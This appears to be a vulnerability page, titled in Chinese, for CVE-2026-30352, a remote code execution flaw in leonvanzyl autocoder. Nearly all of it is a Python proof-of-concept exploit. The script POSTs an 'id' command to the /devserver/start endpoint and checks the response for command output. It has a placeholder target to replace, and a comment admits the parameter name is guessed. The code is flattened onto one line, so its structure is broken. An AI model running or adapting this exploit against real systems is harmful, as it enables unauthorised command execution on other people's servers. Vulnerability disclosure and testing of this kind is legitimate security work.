CVE-2026-30352: leonvanzyl autocoder 远程代码执行漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-30352 RCE in leonvanzyl autocoder """ # Vulnerable endpoint endpoint = f"{target_url}/devserver/start" # Malicious payload to execute 'id' command # Adjust the parameter name 'command' based on actual request structure payload_data = { "command": "id" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=payload_data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) # Check for common command output indicators if "uid=" in response.text or "gid=" in response.text: print("[!] Potential RCE confirmed via 'id' command output.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:3000" # Replace with actual target exploit(target)